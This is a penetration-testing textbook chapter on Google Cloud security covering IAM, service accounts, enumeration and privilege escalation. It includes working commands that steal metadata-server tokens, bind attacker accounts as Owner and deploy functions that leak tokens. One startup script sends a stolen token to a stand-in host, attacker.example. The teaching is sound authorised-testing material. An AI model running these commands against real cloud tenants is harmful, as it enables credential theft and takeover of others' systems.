GCP Security Essentials & Enumeration
This is Chapter 5 of the Cloud Security notebook. The previous four chapters walked through the shared-responsibility model, hands-on AWS recon (IAM, S3, IMDS), the AWS/multi-cloud tooling stack (Pacu, ScoutSuite, Prowler), and then the Microsoft identity plane in Entra ID. This chapter completes the “big three” by moving to Google Cloud Platform (GCP). If Azure’s centre of gravity is identity and AWS’s is IAM-policy sprawl, GCP’s defining feature is a strict, tree-shaped resource hierarchy married to a small, elegant IAM model — and a service-account system so central that almost every real GCP privilege escalation is, at heart, “become a different service account.”
The single most important idea to carry through this chapter: in GCP, the service account is the unit of privilege, and the questions “which service account am I?”, “which service accounts can I become?”, and “what can that service account do?” drive every enumeration and escalation decision you will make. Get comfortable with that lens and GCP stops feeling like a pile of 200 APIs and starts feeling like a graph you can walk.
Everything here is for projects, folders and organizations you own or are explicitly authorised in writing to assess. Google’s Cloud Platform Acceptable Use policy and Vulnerability Reward Program permit testing of your own resources without pre-authorisation, but enumerating, spraying, or pulling tokens against a project you do not own is unauthorised access and a crime in essentially every jurisdiction. Practise on your own free-tier project, on GCPGoat, on thunder-ctf, or on the deliberately-vulnerable ranges named in the final part.
Part 1: The GCP Resource Hierarchy — Why GCP Is a Tree
Section titled “Part 1: The GCP Resource Hierarchy — Why GCP Is a Tree”Before a single gcloud command, get the model straight, because in GCP the shape of the org determines where permissions come from and where they flow. Unlike AWS (a flat set of accounts loosely tied by Organizations) or Azure (management groups over subscriptions), GCP enforces a strict tree, and IAM policy is inherited down that tree.
flowchart TD
ORG["Organization (example.com)<br/>root node, tied to a Cloud Identity/Workspace domain"]
F1["Folder: Engineering"]
F2["Folder: Finance"]
P1["Project: eng-prod-1234"]
P2["Project: eng-dev-5678"]
P3["Project: fin-prod-9012"]
R1["Resources: GCE VMs, GCS buckets,<br/>BigQuery datasets, Cloud Functions..."]
ORG --> F1
ORG --> F2
F1 --> P1
F1 --> P2
F2 --> P3
P1 --> R1
P2 --> R1
P3 --> R1
The nodes, top to bottom:
- Organization — the root. It exists only if the tenant has Google Workspace or Cloud Identity attached to a verified DNS domain (
example.com). Its numeric ID is an Organization ID (e.g.organizations/34739118321). Many small GCP users have no organization at all — just standalone projects owned by a personal Gmail — and that materially changes the attack surface (no org-level policy, no central logging sink, no folder inheritance). - Folder — optional grouping nodes (e.g. by department or environment). Folders can nest. IAM bindings set on a folder are inherited by every project and resource beneath it.
- Project — the primary unit of billing, API enablement, quota, and isolation. Every resource lives in exactly one project. A project has three identifiers you must not confuse: a human-chosen Project ID (globally unique, e.g.
eng-prod-1234), a Project Number (a globally unique integer assigned by Google, e.g.849700564632), and a mutable Display Name. APIs sometimes want the ID, sometimes the number — the default service-account email uses the number, IAM conditions and some logs use the ID. - Resource — the leaves: Compute Engine (GCE) VMs, Cloud Storage (GCS) buckets, BigQuery datasets, Cloud SQL instances, Cloud Functions, GKE clusters, Pub/Sub topics, and so on.
Why this matters for you as an attacker: IAM is additive and inherited. A binding that grants roles/viewer at the organization node silently makes the grantee a Viewer on every project in the org. The effective permissions on a resource are the union of bindings at the resource, its project, its folder(s), and the org. So after landing on any credential your enumeration must check policy at every level of the tree, not just the current project — a low-priv-looking project role can hide a fat org-level binding. Blue-team corollary: an over-broad org-level grant is the most damaging misconfiguration in GCP precisely because inheritance makes its blast radius the entire estate.
The two identity systems (the AWS-vs-Azure equivalent trap)
Section titled “The two identity systems (the AWS-vs-Azure equivalent trap)”GCP has two distinct identity systems that both show up in IAM policies and constantly get conflated:
- Cloud IAM — governs access to GCP resources via members, roles, and bindings. Members can be Google accounts, service accounts, groups, or domains.
- Google Workspace / Cloud Identity — the directory of human users and groups (
alice@example.com), with its own admin console, its own Admin SDK API (admin.googleapis.com), and its own super-admin role that is completely separate from GCP’s Organization Administrator. A Workspace Super Admin owns the humans; a GCP Org Admin owns the cloud resources. The bridge between them — domain-wide delegation — is one of the nastiest escalation paths in the whole ecosystem, covered in Part 11.
Keep these straight the way the Azure chapter kept Entra roles vs Azure RBAC straight: the first question after any compromise is “which system does this identity live in, and which token audience do I hold?”
Part 2: The IAM Model — Members, Roles, Bindings, Policies
Section titled “Part 2: The IAM Model — Members, Roles, Bindings, Policies”GCP IAM is deliberately smaller and more consistent than AWS IAM. There are exactly four moving parts.
Member (principal) — who. Prefixed by type:
| Member prefix | Meaning | Example |
|---|---|---|
user: | A specific Google account (human) | user:alice@example.com |
serviceAccount: | A service account | serviceAccount:sa@proj.iam.gserviceaccount.com |
group: | A Google group | group:devs@example.com |
domain: | Every user in a Workspace domain | domain:example.com |
allAuthenticatedUsers | Any Google-authenticated identity, anywhere | (public-ish) |
allUsers | Literally anyone on the internet, no auth | (fully public) |
The last two are the source of countless breaches. A GCS bucket or a Cloud Function with allUsers bound to a read role is exposed to the entire internet; allAuthenticatedUsers means any random Google account (including throwaway Gmail) can read it. Bug-bounty angle: hunting for allUsers/allAuthenticatedUsers on storage, Cloud Run, Cloud Functions and Pub/Sub is one of the highest-yield GCP recon activities on public programs.
Role — what. A named bundle of granular permissions (each permission is service.resource.verb, e.g. storage.objects.get, compute.instances.setMetadata, iam.serviceAccounts.getAccessToken). Three tiers:
- Basic (primitive) roles:
roles/owner,roles/editor,roles/viewer. Enormous, legacy, and dangerous.roles/editoralone grants write on ~almost every service and is a frequent escalation launchpad. Finding a human or SA with a basic role at project/folder/org level is a red flag every audit should raise. - Predefined roles: fine-grained, Google-curated (
roles/storage.admin,roles/compute.instanceAdmin.v1,roles/iam.serviceAccountTokenCreator). Hundreds exist. - Custom roles: org- or project-defined bundles of hand-picked permissions.
Binding — glue: { role, members[], condition? }. A binding says “these members have this role (optionally only when this IAM Condition is true).”
Policy — the full set of bindings attached to one resource node (org, folder, project, or an individual resource that supports resource-level IAM like a bucket or a KMS key).
flowchart LR
M["Member<br/>user: / serviceAccount: / group:"] --> B
R["Role<br/>basic / predefined / custom"] --> B
C["Condition (optional)<br/>CEL expression"] --> B
B["Binding"] --> POL["Policy (on a resource node)"]
POL --> EFF["Effective permission =<br/>UNION of policies from<br/>resource + project + folder + org"]
The one non-obvious rule that governs every escalation in this chapter: IAM is a pure allow-model with no explicit deny by default (Deny policies exist as a separate, newer, rarely-deployed feature). Effective access is the union of every binding that mentions you (directly, via a group, via a domain, or via inheritance) across the entire hierarchy. There is no AWS-style implicit “explicit deny wins.” That makes GCP IAM easy to reason about and easy to accidentally over-grant.
Part 3: Service Accounts — The Unit of Privilege
Section titled “Part 3: Service Accounts — The Unit of Privilege”This is the heart of GCP security. A service account (SA) is a special non-human identity that both is a resource (it lives in a project, it has an email like name@project-id.iam.gserviceaccount.com) and is a principal (it appears as a serviceAccount: member in bindings). Workloads run as a service account; humans and workloads can act as service accounts. Almost every GCP privilege escalation reduces to: “I can cause code to run as, or mint a token for, a more-privileged service account.”
Types of service account
Section titled “Types of service account”| Type | Email pattern | Notes |
|---|---|---|
| User-managed SA | my-sa@proj-id.iam.gserviceaccount.com | You create these; the ones you attach to VMs, Functions, GKE workloads. |
| Default SA (Compute) | PROJECT_NUMBER-compute@developer.gserviceaccount.com | Auto-created, historically granted roles/editor on the whole project. A goldmine. |
| Default SA (App Engine) | PROJECT_ID@appspot.gserviceaccount.com | Similar broad default. |
| Google-managed service agents | service-PROJECT_NUMBER@gcp-sa-*.iam.gserviceaccount.com | Google-controlled; you rarely touch these directly. |
The default Compute Engine service account deserves special attention: for years GCP auto-attached it to every new VM and granted it roles/editor project-wide. That means: pop a shell on almost any older GCE VM, pull the metadata token, and you frequently hold Editor over the entire project. Google now recommends disabling this and newer orgs constrain it via org policy (iam.automaticIamGrantsForDefaultServiceAccounts), but you will meet the legacy configuration constantly.
The three ways to authenticate as a service account
Section titled “The three ways to authenticate as a service account”flowchart TD
A["Want to act as SA X"] --> B{"How?"}
B -->|"1. Static key"| K["SA key file (JSON)<br/>iam.serviceAccountKeys.create<br/>long-lived private key"]
B -->|"2. Impersonation"| I["Mint short-lived token<br/>iam.serviceAccounts.getAccessToken<br/>or signJwt / signBlob"]
B -->|"3. Attach & run (ActAs)"| R["Attach SA to a VM/Function/Job<br/>iam.serviceAccounts.actAs<br/>then run code that reads metadata"]
K --> T["Now authenticated as X"]
I --> T
R --> T
- Static SA keys —
gcloud iam service-accounts keys create key.json --iam-account=SA. Produces a downloadable JSON containing an RSA private key. Long-lived (no expiry unless you rotate), portable, and therefore the #1 credential leak in GCP — these land in Git repos, CI logs, Docker images and laptops constantly. The permission to create them isiam.serviceAccountKeys.create. Blue team: most orgs should disable key creation entirely via org policy (iam.disableServiceAccountKeyCreation) and use Workload Identity Federation instead. - Impersonation — mint a short-lived OAuth token or signed JWT for the SA without any static key, using
iam.serviceAccounts.getAccessToken,generateAccessToken,signJwt, orsignBlob. The predefined role that grants this isroles/iam.serviceAccountTokenCreator. This is the cleanest escalation primitive: if you can impersonate a more-privileged SA, you inherit its power with a token that expires in an hour and leaves a cleaner trail than a stolen key.gcloud ... --impersonate-service-account=SAuses this under the hood. - ActAs / attach — the
iam.serviceAccounts.actAspermission lets you attach a service account to a resource you create or modify (a VM, a Cloud Function, a Cloud Run service, a Dataflow job). You then run arbitrary code inside that resource, which runs as the attached SA and can read its token from the metadata server.actAsis the quiet, load-bearing permission behind a huge fraction of GCP privesc: any compute-creation permission is only dangerous because it pairs withactAson a juicy SA.
Hold onto these three doors — Parts 9 and 10 walk through the concrete escalation recipes that use each.
Part 4: The Metadata Server — GCP’s IMDS
Section titled “Part 4: The Metadata Server — GCP’s IMDS”Every Compute Engine VM (and GKE node, Cloud Run instance, Cloud Function, App Engine instance) can reach a link-local metadata server at 169.254.169.254 / metadata.google.internal. This is GCP’s analogue to AWS’s IMDS, and it is where a workload obtains the OAuth access token of its attached service account — which makes it the single most valuable endpoint to hit after landing SSRF or RCE on a GCP workload.
Two things differ sharply from AWS and matter operationally:
- Mandatory header. Every metadata request must carry
Metadata-Flavor: Google. Requests without it are refused. This exists specifically to blunt naive SSRF — a plain?url=http://169.254.169.254/...won’t return anything unless the vulnerable server also forwards a custom header. Bug-bounty relevance: GCP SSRF-to-token is therefore harder than AWS IMDSv1 but very much alive where the app lets you control request headers, or via full-request-forgery / gopher-style tricks. - No IMDSv2-style session handshake, but the header requirement plus the newer
X-Google-Metadata-Request: Trueexpectation and the ability to disable legacy/0.1/and/v1beta1/endpoints via instance metadata play a similar hardening role.
The endpoints that matter
Section titled “The endpoints that matter”# Base header required on EVERY call:# -H "Metadata-Flavor: Google"
# List the SA(s) attached to this instancecurl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/"
# The OAuth2 access token of the default SA <-- the crown jewelcurl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"# => {"access_token":"ya29.c.Kp8B...","expires_in":3376,"token_type":"Bearer"}
# The scopes granted to that token (this GATES what the token can do)curl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes"
# The SA's email (identity)curl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"
# Project metadata (project id, number, and -- critically -- SSH keys & startup scripts)curl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/project/project-id"curl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/project/attributes/ssh-keys"
# An identity token (signed JWT) with a chosen audience -- useful against IAP / Cloud Runcurl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://example.com"The token you pull is an OAuth2 access token — a ya29. opaque string. You use it as a bearer token against any Google API:
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \ "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \ | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# Use it directly against an API -- e.g. list buckets in this project:PROJECT=$(curl -s -H 'Metadata-Flavor: Google' \ http://169.254.169.254/computeMetadata/v1/project/project-id)curl -s -H "Authorization: Bearer $TOKEN" \ "https://storage.googleapis.com/storage/v1/b?project=$PROJECT"Scopes: the gotcha that stops beginners cold
Section titled “Scopes: the gotcha that stops beginners cold”Unlike AWS, a GCP access token from the metadata server is limited by OAuth scopes that were set when the VM was created, in addition to the SA’s IAM roles. Effective power = IAM roles n token scopes. A VM whose SA is Project Editor but whose token scope is only https://www.googleapis.com/auth/devstorage.read_only can read storage but cannot, say, create a new VM — even though the SA’s IAM would allow it. The classic legacy footgun is the scope https://www.googleapis.com/auth/cloud-platform, which means “all APIs,” and pairing it with the Editor default SA is what makes so many VMs a full-project compromise. Always pull /scopes before concluding a token is weak — many an engagement stalls because someone assumed a token was low-priv without checking that it carried cloud-platform.
Part 5: OAuth, Tokens, and How gcloud Authenticates
Section titled “Part 5: OAuth, Tokens, and How gcloud Authenticates”To enumerate confidently you must know what a credential actually is in GCP. There are four token/credential shapes you will encounter:
| Credential | Looks like | Lifetime | Where you find it |
|---|---|---|---|
| OAuth2 access token | ya29.c.b0Aa... (opaque ya29. prefix) | ~1 hour | Metadata server, gcloud auth print-access-token, impersonation output |
| OIDC / identity token | JWT (eyJ...) | ~1 hour | gcloud auth print-identity-token, metadata identity endpoint |
| SA key file | JSON with private_key, client_email | Long-lived | Repos, CI, disks — the leak magnet |
| User refresh token | stored in ~/.config/gcloud/ | Long-lived | A developer’s laptop / gcloud config dir |
gcloud’s credential store lives at ~/.config/gcloud/ (Linux/mac) or %APPDATA%\gcloud\ (Windows). The files worth stealing on a compromised dev box:
credentials.db/access_tokens.db— SQLite databases holding OAuth refresh tokens for logged-in human accounts. A refresh token is long-lived and lets you mint fresh access tokens indefinitely until revoked — effectively persistent access as that user.legacy_credentials/<account>/adc.json— Application Default Credentials.application_default_credentials.json— ADC used by client libraries.active_config/configurations/— which project/account is active.
Red team usage: on any compromised developer or CI host, ~/.config/gcloud/ is a priority loot target equivalent to .aws/credentials on an AWS box or a browser cookie jar for SaaS. Blue team: treat these files as secrets, and watch for their exfiltration; also prefer short-lived Workforce/Workload Identity Federation over long-lived stored refresh tokens.
Application Default Credentials (ADC) is the resolution order client libraries and gcloud use to find a credential automatically:
flowchart TD
A["Client needs a credential"] --> B{"GOOGLE_APPLICATION_CREDENTIALS<br/>env var set?"}
B -->|yes| K["Use that SA key JSON"]
B -->|no| C{"gcloud user ADC file present?<br/>application_default_credentials.json"}
C -->|yes| U["Use that user/SA credential"]
C -->|no| D{"Running on GCP<br/>(metadata server reachable)?"}
D -->|yes| M["Use the attached SA via metadata server"]
D -->|no| E["Fail: no credentials found"]
Understanding this chain tells you where to look for credentials on a host and what identity your tooling will silently use — a frequent source of “why am I getting permission denied / why did this run as the wrong SA?” confusion.
Part 6: Tooling From Scratch — gcloud, gsutil, bq
Section titled “Part 6: Tooling From Scratch — gcloud, gsutil, bq”The Google Cloud CLI (gcloud) is the primary interface for everything in this chapter. Teach-from-scratch, because most enumeration commands below assume it.
What it is: Google’s official cross-platform CLI, distributed in the Cloud SDK bundle alongside gsutil (Cloud Storage) and bq (BigQuery). It wraps the REST APIs, handles OAuth, and manages named configurations (account + project + region sets).
Install on Kali/Debian:
# Add Google's apt repo and keyecho "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" \ | sudo tee /etc/apt/sources.list.d/google-cloud-sdk.listcurl https://packages.cloud.google.com/apt/doc/apt-key.gpg \ | sudo gpg --dearmor -o /usr/share/keyrings/cloud.google.gpgsudo apt-get update && sudo apt-get install -y google-cloud-cli
# Verifygcloud versionAuthenticate in the three ways you will actually use:
# 1) As a human (opens a browser / prints a URL for headless)gcloud auth logingcloud auth login --no-launch-browser # headless / remote box
# 2) As a service account from a stolen/legit key JSONgcloud auth activate-service-account --key-file=key.json
# 3) Set application-default creds (what SDKs read)gcloud auth application-default loginCore structure — gcloud GROUP SUBGROUP COMMAND --flags:
gcloud config list # current account, project, regiongcloud config set project eng-prod-1234 # pin a projectgcloud projects list # projects you can seegcloud services list --enabled # which APIs are on in this projectFlags every enumerator leans on:
| Flag | Effect |
|---|---|
--project=ID | Run against a specific project without changing config |
--impersonate-service-account=SA | Do this call as an SA you can impersonate (uses getAccessToken) |
--format=json / --format="value(field)" | Machine-readable / extract one field for scripting |
--filter="EXPR" | Server- or client-side filter (e.g. --filter="bindings.members:allUsers") |
--flatten="bindings[].members" | Explode nested arrays so you can grep members |
--verbosity=debug | Show the raw API calls (great for learning the REST surface) |
--configuration=NAME | Switch between saved account/project sets |
gsutil (gsutil ls, gsutil cp, gsutil iam get) is the Storage swiss-army knife; bq (bq ls, bq query) is the BigQuery one. Newer bundles fold storage into gcloud storage, but gsutil is still ubiquitous and every writeup uses it, so learn both.
A note on the raw API when gcloud won’t cooperate: every gcloud command is a REST call to *.googleapis.com. When you only hold a raw ya29. token (e.g. pulled from metadata) and don’t want to configure gcloud, hit the APIs directly with curl -H "Authorization: Bearer $TOKEN". Knowing both paths means a stripped VM with only curl is never a dead end.
Part 7: Unauthenticated & External Enumeration
Section titled “Part 7: Unauthenticated & External Enumeration”Plenty of GCP recon needs no credentials at all — it’s the GCP equivalent of hunting open S3 buckets, and it’s the bread-and-butter of bug-bounty cloud recon.
Cloud Storage bucket discovery
Section titled “Cloud Storage bucket discovery”GCS buckets share a global namespace and answer on predictable hostnames:
https://storage.googleapis.com/BUCKET/OBJECThttps://BUCKET.storage.googleapis.com/OBJECT
Enumerate likely bucket names from the target’s brand (acme, acme-prod, acme-backups, acme-assets, acme-terraform-state, acme-dev). Anonymous listing works when the bucket binds allUsers/allAuthenticatedUsers:
# Anonymous list attempt (no creds). 200 = readable, 403 = exists but locked, 404 = no such bucket.curl -s -o /dev/null -w "%{http_code}\n" \ "https://storage.googleapis.com/acme-prod-backups"
# JSON API listing of objects, anonymous:curl -s "https://storage.googleapis.com/storage/v1/b/acme-prod-backups/o" | head
# With gsutil, unauthenticated:gsutil ls gs://acme-prod-backupsThe three status codes are your map: 404 = the name is free (or truly nonexistent), 403 = the bucket exists but you lack access (valuable intel — the name is taken and possibly a real target for other paths), 200 = jackpot, listable. Tools that industrialise this: GCPBucketBrute (Rhino Security) for permuting and probing bucket names including read/write/ACL checks, and generic wordlist brute-forcers.
# GCPBucketBrute -- permutes and checks a keyword, works unauthenticatedpython3 gcpbucketbrute.py -k acme -u # -u = unauthenticated modeOther externally-observable surfaces
Section titled “Other externally-observable surfaces”- Firebase / firestore databases (
https://PROJECT.firebaseio.com/.json) — legacy Firebase RTDB with open read rules leaks entire app databases; a perennial bounty finding. - App Engine / Cloud Run / Cloud Functions default URLs (
*.appspot.com,*.run.app,*.cloudfunctions.net) — probe for unauthenticated invocation and verbose error pages that leak project IDs and SA emails. - Google API discovery of a project ID — many responses (bucket errors, function errors, IAP redirects) leak the numeric project number or project ID, which seeds authenticated recon later.
Bug-bounty framing: unauthenticated GCS/Firebase exposure and public Cloud Functions are among the most commonly rewarded GCP issues on HackerOne/Bugcrowd. Always confirm scope — many programs treat storage brute-forcing carefully — and never write to or delete from a bucket you don’t own even if the ACL allows it.
Part 8: Authenticated Enumeration — Walking the Graph
Section titled “Part 8: Authenticated Enumeration — Walking the Graph”Once you hold any credential (a stolen key, a metadata token, a low-priv user), the goal is to map three things: who am I, what can I see, and what can I become. This is the enumeration core of the chapter.
Step 1 — establish identity and scope
Section titled “Step 1 — establish identity and scope”# Who am I right now?gcloud auth listgcloud config list account --format="value(core.account)"
# If you only have a raw token, ask Google whose token it is + its scopes:curl -s "https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=$TOKEN"# => { "azp": "...", "scope": "https://www.googleapis.com/auth/cloud-platform", "email": "sa@proj.iam.gserviceaccount.com", "expires_in": 3200, ... }
# What projects can this identity even see?gcloud projects listgcloud organizations list # if you can see the org, that alone is signalgcloud resource-manager folders list --organization=ORG_IDStep 2 — enumerate IAM policy at every level of the tree
Section titled “Step 2 — enumerate IAM policy at every level of the tree”Remember Part 1: effective access is inherited. Pull policy at org, folder, and project, then hunt for bindings that mention you (directly, or via a group/domain you belong to).
# Project-level policygcloud projects get-iam-policy eng-prod-1234 --format=json
# Folder- and org-level policy (need viewer on those nodes)gcloud resource-manager folders get-iam-policy FOLDER_IDgcloud organizations get-iam-policy ORG_ID
# Flatten + filter to find every binding that grants YOU or a broad principal something:gcloud projects get-iam-policy eng-prod-1234 \ --flatten="bindings[].members" \ --format="table(bindings.role, bindings.members)" \ --filter="bindings.members:allUsers OR bindings.members:allAuthenticatedUsers"Step 3 — the killer question: what can I test that I’m allowed to do?
Section titled “Step 3 — the killer question: what can I test that I’m allowed to do?”GCP has a testIamPermissions API on almost every resource: you hand it a list of permissions and it returns the subset you actually hold. This lets you probe your effective access without triggering the action — invaluable when you can’t read the policy but can ask “may I?”.
# Ask which of these dangerous permissions you hold on a project:gcloud projects test-iam-permissions eng-prod-1234 \ --permissions=iam.serviceAccounts.getAccessToken,iam.serviceAccounts.actAs,\iam.serviceAccountKeys.create,resourcemanager.projects.setIamPolicy,\cloudfunctions.functions.create,compute.instances.setMetadataThis single call is the fastest route to spotting a privilege-escalation primitive, which is exactly why the escalation-hunting tooling in Part 12 automates it across hundreds of permissions.
Step 4 — enumerate the juicy services
Section titled “Step 4 — enumerate the juicy services”# Service accounts in the project -- your escalation targetsgcloud iam service-accounts list
# Keys on a specific SA (are there long-lived keys to steal/create?)gcloud iam service-accounts keys list --iam-account=SA_EMAIL
# Compute instances (and their attached SAs + scopes)gcloud compute instances listgcloud compute instances describe VM --zone=ZONE \ --format="yaml(serviceAccounts, metadata)"
# Storage buckets and their IAMgsutil lsgsutil iam get gs://some-bucket
# Secrets, KMS keys, Cloud SQL, GKE -- all common loot/escalation surfacesgcloud secrets list && gcloud secrets versions access latest --secret=NAMEgcloud kms keys list --location=global --keyring=RINGgcloud sql instances listgcloud container clusters listEnumeration decision flow
Section titled “Enumeration decision flow”flowchart TD
START["Hold a credential"] --> ID["tokeninfo / auth list<br/>Who am I? What scopes?"]
ID --> PROJ["projects list<br/>What can I see?"]
PROJ --> POL["get-iam-policy at<br/>org + folder + project"]
POL --> TEST["testIamPermissions<br/>What am I actually allowed to do?"]
TEST --> PRIV{"Any escalation<br/>primitive present?"}
PRIV -->|yes| ESC["Go to Part 9/10:<br/>impersonate / actAs / setIamPolicy"]
PRIV -->|no| LOOT["Loot: secrets, buckets,<br/>SQL, source, tokens on VMs"]
LOOT --> LAT["Lateral: other projects,<br/>Workspace via DWD"]
Part 9: Privilege Escalation Primitives (Part 1 — IAM-native)
Section titled “Part 9: Privilege Escalation Primitives (Part 1 — IAM-native)”Rhino Security Labs catalogued the canonical GCP privesc primitives; every one reduces to “gain the power of a more-privileged identity.” Here are the IAM-native ones — the paths that live inside the IAM system itself.
9.1 Service-account impersonation (getAccessToken)
Section titled “9.1 Service-account impersonation (getAccessToken)”If you hold iam.serviceAccounts.getAccessToken (via roles/iam.serviceAccountTokenCreator) on a more-privileged SA, mint its token and become it:
# Directly, via gcloud's built-in impersonation:gcloud compute instances list \ --project=eng-prod-1234 \ --impersonate-service-account=privileged-sa@eng-prod-1234.iam.gserviceaccount.com
# Or mint the raw token yourself:gcloud iam service-accounts get-access-token \ --impersonate-service-account=privileged-sa@eng-prod-1234.iam.gserviceaccount.com# => ya29.c.b0Aa... (now use as Bearer for that SA's power)This is the cleanest escalation: short-lived, no key to leave behind, and if the target SA is Editor/Owner you just inherited the project.
9.2 Create a key on a privileged SA (serviceAccountKeys.create)
Section titled “9.2 Create a key on a privileged SA (serviceAccountKeys.create)”If you can create a key on a more-privileged SA, you get a long-lived credential for it:
gcloud iam service-accounts keys create loot.json \ --iam-account=privileged-sa@eng-prod-1234.iam.gserviceaccount.comgcloud auth activate-service-account --key-file=loot.json# Now every subsequent command runs as privileged-saNoisier and more persistent than impersonation (the key is durable — good for the red-team, bad for stealth; it’s logged and long-lived).
9.3 Rewrite the policy (setIamPolicy)
Section titled “9.3 Rewrite the policy (setIamPolicy)”If you hold resourcemanager.projects.setIamPolicy (or the folder/org equivalent, or *.setIamPolicy on a resource), just grant yourself a better role:
# Add yourself as Owner of the project:gcloud projects add-iam-policy-binding eng-prod-1234 \ --member="user:attacker@example.com" \ --role="roles/owner"storage.buckets.setIamPolicy, cloudkms.cryptoKeys.setIamPolicy, iam.serviceAccounts.setIamPolicy and friends are the resource-scoped versions — grant yourself admin on the specific bucket/key/SA. Blue team: SetIamPolicy calls are high-signal in Cloud Audit Logs; alert on any binding that adds roles/owner, roles/editor, or *TokenCreator.
9.4 signJwt / signBlob
Section titled “9.4 signJwt / signBlob”If you hold iam.serviceAccounts.signJwt on an SA, you can forge a JWT asserting that SA’s identity and exchange it for an access token — another route to impersonation without getAccessToken. Similarly signBlob lets you sign arbitrary bytes as the SA (useful for signing GCS URLs or crafting auth material).
| Permission you hold (on a better SA / node) | Escalation | Stealth |
|---|---|---|
iam.serviceAccounts.getAccessToken | Mint short-lived token -> become SA | High (clean, expiring) |
iam.serviceAccounts.signJwt | Forge JWT -> exchange for token | High |
iam.serviceAccountKeys.create | Long-lived key -> become SA | Low (durable, logged) |
resourcemanager.projects.setIamPolicy | Grant self Owner | Low (very loud in audit log) |
iam.serviceAccounts.actAs (+ compute create) | Attach SA to VM/Func -> run as it | Medium |
iam.roles.update (on a custom role you hold) | Add permissions to a role you already have | Medium |
Part 10: Privilege Escalation Primitives (Part 2 — compute & service abuse)
Section titled “Part 10: Privilege Escalation Primitives (Part 2 — compute & service abuse)”The second family exploits the actAs permission plus a “run my code” service. The pattern is always the same: create or modify a compute resource, attach a privileged SA to it, and run code that reads that SA’s metadata token.
sequenceDiagram
participant A as Attacker (low-priv, has actAs + create)
participant GCP as GCP API
participant VM as New VM / Function
participant MD as Metadata server
A->>GCP: create VM, attach privileged-sa, inject startup-script
GCP->>VM: boot, run startup-script AS privileged-sa
VM->>MD: GET /service-accounts/default/token (Metadata-Flavor: Google)
MD-->>VM: ya29 token of privileged-sa
VM->>A: exfil token (curl to attacker listener)
A->>GCP: use token as privileged-sa
10.1 compute.instances.setMetadata — add your SSH key
Section titled “10.1 compute.instances.setMetadata — add your SSH key”If you hold compute.instances.setMetadata (or project-wide compute.projects.setCommonInstanceMetadata), push an SSH key into instance/project metadata and log in — often as a user whose shell runs alongside a privileged SA:
# Add an attacker SSH key to a running instance's metadata:gcloud compute instances add-metadata VM --zone=ZONE \ --metadata=ssh-keys="attacker:ssh-rsa AAAAB3...attacker"gcloud compute ssh attacker@VM --zone=ZONE# Then, from inside, pull the attached SA token from the metadata server (Part 4).10.2 Create a VM with a privileged SA + startup script
Section titled “10.2 Create a VM with a privileged SA + startup script”gcloud compute instances create pwn-vm --zone=us-central1-a \ --service-account=privileged-sa@eng-prod-1234.iam.gserviceaccount.com \ --scopes=cloud-platform \ --metadata=startup-script='#!/bin/bashTOKEN=$(curl -s -H "Metadata-Flavor: Google" \ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token)curl -s -X POST -d "$TOKEN" https://attacker.example/exfil'The --scopes=cloud-platform is deliberate: it ensures the exfiltrated token isn’t scope-limited (Part 4). This needs compute.instances.create and iam.serviceAccounts.actAs on the target SA.
10.3 Cloud Functions / Cloud Run deploy
Section titled “10.3 Cloud Functions / Cloud Run deploy”If you can deploy a function or Run service with a chosen SA (cloudfunctions.functions.create + iam.serviceAccounts.actAs), your code executes as that SA:
# Deploy a function that runs as a privileged SA and returns its token:cat > main.py <<'EOF'import urllib.requestdef pwn(request): req = urllib.request.Request( "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", headers={"Metadata-Flavor": "Google"}) return urllib.request.urlopen(req).read()EOFecho "functions-framework==3.*" > requirements.txt
gcloud functions deploy pwnfn --runtime=python311 --trigger-http \ --allow-unauthenticated --entry-point=pwn \ --service-account=privileged-sa@eng-prod-1234.iam.gserviceaccount.com# curl the function URL -> get privileged-sa's token10.4 Other “run as” surfaces
Section titled “10.4 Other “run as” surfaces”The same actAs pattern applies to Cloud Build (builds run as a powerful default @cloudbuild.gserviceaccount.com SA — controlling a build config is game over in many projects), Deployment Manager (deploymentmanager.deployments.create runs as the Google APIs service agent with broad rights), Dataflow/Dataproc jobs, Composer (Airflow) DAGs, and GKE workloads (a pod inheriting a node’s SA, or Workload Identity misconfig). Whenever you see a “submit code/config, we run it for you” service, ask: as which SA, and can I influence it?
| Service | Permission(s) | Runs as | Notes |
|---|---|---|---|
| Compute Engine | compute.instances.create + actAs | Attached SA | Startup script = instant RCE-as-SA |
| Cloud Functions | cloudfunctions.functions.create + actAs | Chosen SA | HTTP trigger returns token |
| Cloud Run | run.services.create + actAs | Chosen SA | Same idea, container-based |
| Cloud Build | cloudbuild.builds.create | Cloud Build SA (often Editor) | Very common, very powerful |
| Deployment Manager | deploymentmanager.deployments.create | Google APIs SA | Can create IAM bindings |
| Composer / Dataflow | job submit perms + actAs | Worker SA | Long-running, good persistence |
Part 11: Lateral Movement & the Workspace Bridge
Section titled “Part 11: Lateral Movement & the Workspace Bridge”Escalation gets you power in one project. Lateral movement spreads it — across projects, and, most dangerously, out of GCP into Google Workspace (Gmail, Drive, the whole org’s humans).
Cross-project movement
Section titled “Cross-project movement”- Shared service accounts. An SA created in
project-Ais frequently granted roles inproject-B. If you become that SA, you inherit itsproject-Bpower for free. Enumerate every project’s IAM policy forserviceAccount:members whose email domain points at a project you already control. - Org/folder inheritance (again). If you can grab an identity with a folder- or org-level binding, you laterally own every project under it. This is why an org-level
roles/editoron a service account is catastrophic. - Shared VPC / networking and cross-project Pub/Sub, GCS, BigQuery bindings create data-plane bridges even without full IAM control.
